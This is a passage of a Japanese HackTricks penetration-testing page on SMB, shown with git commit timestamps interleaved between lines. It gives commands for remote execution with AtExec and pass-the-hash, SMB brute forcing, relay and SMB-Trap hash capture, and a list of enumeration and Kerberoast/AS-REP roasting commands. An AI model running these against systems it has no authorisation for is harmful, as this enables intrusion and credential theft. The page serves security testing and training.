2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2020-07-15 15:43:14 +00:00
2024-02-09 09:15:30 +00:00
_タスクスケジューラーを介してコマンドを実行します( SMBを介した_\pipe\atsvc_を使用) 。\
2024-02-05 02:58:30 +00:00
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:04:57 +00:00
./atexec.py [[domain/]username[:password]@]< targetName or address > "command"
2020-07-15 15:43:14 +00:00
./atexec.py -hashes < LM:NT > administrator@10.10.10.175 "whoami"
```
2024-02-05 02:58:30 +00:00
## Impacket リファレンス
2020-07-15 15:43:14 +00:00
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ ](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ )
2024-02-05 02:58:30 +00:00
## **ユーザー資格情報のブルートフォース**
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
**これは推奨されません。最大許可された試行回数を超えるとアカウントがブロックされる可能性があります**
2020-07-15 15:43:14 +00:00
```bash
nmap --script smb-brute -p 445 < IP >
2023-12-26 22:04:57 +00:00
ridenum.py < IP > 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
2020-07-15 15:43:14 +00:00
```
2024-02-05 02:58:30 +00:00
## SMB中継攻撃
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
この攻撃は、内部ネットワークでResponserツールキットを使用してSMB認証セッションを**キャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功**すると、自動的に**システム**の**シェル**に移行します。\
2023-12-26 22:04:57 +00:00
[**この攻撃に関する詳細情報はこちら。** ](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md )
2020-07-15 15:43:14 +00:00
2024-02-09 09:15:30 +00:00
## SMB-Trap
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
これは、次の機能で発生します:
2020-07-15 15:43:14 +00:00
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2024-02-09 09:15:30 +00:00
これらは一部のブラウザやツール( Skypeなど) で使用されています。
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (93 ).png>)
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
### MitMfを使用したSMBTrap
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (94 ).png>)
2020-07-15 15:43:14 +00:00
2024-02-05 02:58:30 +00:00
## NTLM盗難
2022-09-15 17:28:33 +00:00
2024-02-23 16:45:40 +00:00
SMBトラップと同様に、悪意のあるファイルをターゲットシステムに( たとえばSMB経由で) 配置することで、SMB認証の試行が引き起こされ、NetNTLMv2ハッシュがResponserなどのツールで傍受されます。そのハッシュはオフラインで解読されるか、[SMB中継攻撃](pentesting-smb.md#smb-relay-attack)で使用されます。
2022-09-15 17:28:33 +00:00
2023-12-26 22:04:57 +00:00
[参照: ntlm\_theft ](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft )
2021-08-12 13:30:40 +00:00
2024-02-05 02:58:30 +00:00
## HackTricks自動コマンド
2021-10-18 11:21:18 +00:00
```
2023-12-26 22:04:57 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-12 13:30:40 +00:00
2021-08-15 18:12:30 +00:00
Entry_1:
2023-12-26 22:04:57 +00:00
Name: Notes
Description: Notes for SMB
2023-07-07 23:42:27 +00:00
Note: |
2023-12-26 22:04:57 +00:00
While Port 139 is known technically as ‘ NBT over IP’ , Port 445 is ‘ SMB over IP’ . SMB stands for ‘ Server Message Blocks’ . Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
2023-07-07 23:42:27 +00:00
2023-12-26 22:04:57 +00:00
#These are the commands I run in order every time I see an open SMB port
2023-07-07 23:42:27 +00:00
2023-12-26 22:04:57 +00:00
With No Creds
2023-07-07 23:42:27 +00:00
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
2023-12-26 22:04:57 +00:00
With Creds
2023-07-07 23:42:27 +00:00
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
2021-08-15 18:12:30 +00:00
Entry_2:
2023-07-07 23:42:27 +00:00
Name: Enum4Linux
2023-12-26 22:04:57 +00:00
Description: General SMB Scan
2023-07-07 23:42:27 +00:00
Command: enum4linux -a {IP}
2021-08-15 18:12:30 +00:00
Entry_3:
2023-12-26 22:04:57 +00:00
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
2023-07-07 23:42:27 +00:00
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
2021-08-15 18:12:30 +00:00
Entry_4:
2023-12-26 22:04:57 +00:00
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
2023-11-05 15:19:55 +00:00
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2021-09-25 16:33:43 +00:00
2021-09-13 15:41:00 +00:00
Entry_5:
2023-12-26 22:04:57 +00:00
Name: Hydra Brute Force
Description: Need User
2023-07-07 23:42:27 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
2021-10-27 17:21:12 +00:00
Entry_6:
2023-12-26 22:04:57 +00:00
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
2023-07-07 23:42:27 +00:00
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2023-08-27 20:14:16 +00:00
2023-12-26 22:04:57 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:45:40 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2024-01-03 00:54:19 +00:00
2024-02-09 09:15:30 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-09 09:15:30 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2024-02-23 16:45:40 +00:00
* [**公式PEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を入手してください
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )で**フォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) **および** [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) **のGitHubリポジトリに提出してください。**
2022-04-28 16:01:33 +00:00
< / details >